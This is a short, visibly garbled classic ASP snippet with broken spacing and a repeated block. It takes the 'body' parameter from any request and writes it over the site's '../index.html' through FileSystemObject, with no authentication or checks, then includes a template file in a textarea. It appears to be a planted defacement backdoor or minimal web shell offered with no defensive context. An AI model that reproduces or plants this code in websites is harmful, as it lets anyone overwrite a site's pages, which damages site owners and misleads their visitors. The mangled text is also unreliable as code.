<
%
filename = " ../index.html "
if request( " body " ) <> "" then
body = request( " body " )
Set fso = Server.CreateObject( " Scripting.FileSystemObject " )
Set fout = fso.CreateTextFile(server.mappath( "" & filename & "" ))
fout.Write body
fout.close
set fout = nothing
set fso = nothing
end if
% >
filename = " ../index.html "
if request( " body " ) <> "" then
body = request( " body " )
Set fso = Server.CreateObject( " Scripting.FileSystemObject " )
Set fout = fso.CreateTextFile(server.mappath( "" & filename & "" ))
fout.Write body
fout.close
set fout = nothing
set fso = nothing
end if
% >
<
textarea
>
<!--
#include file="index_mb.asp"
-->
</
textarea
>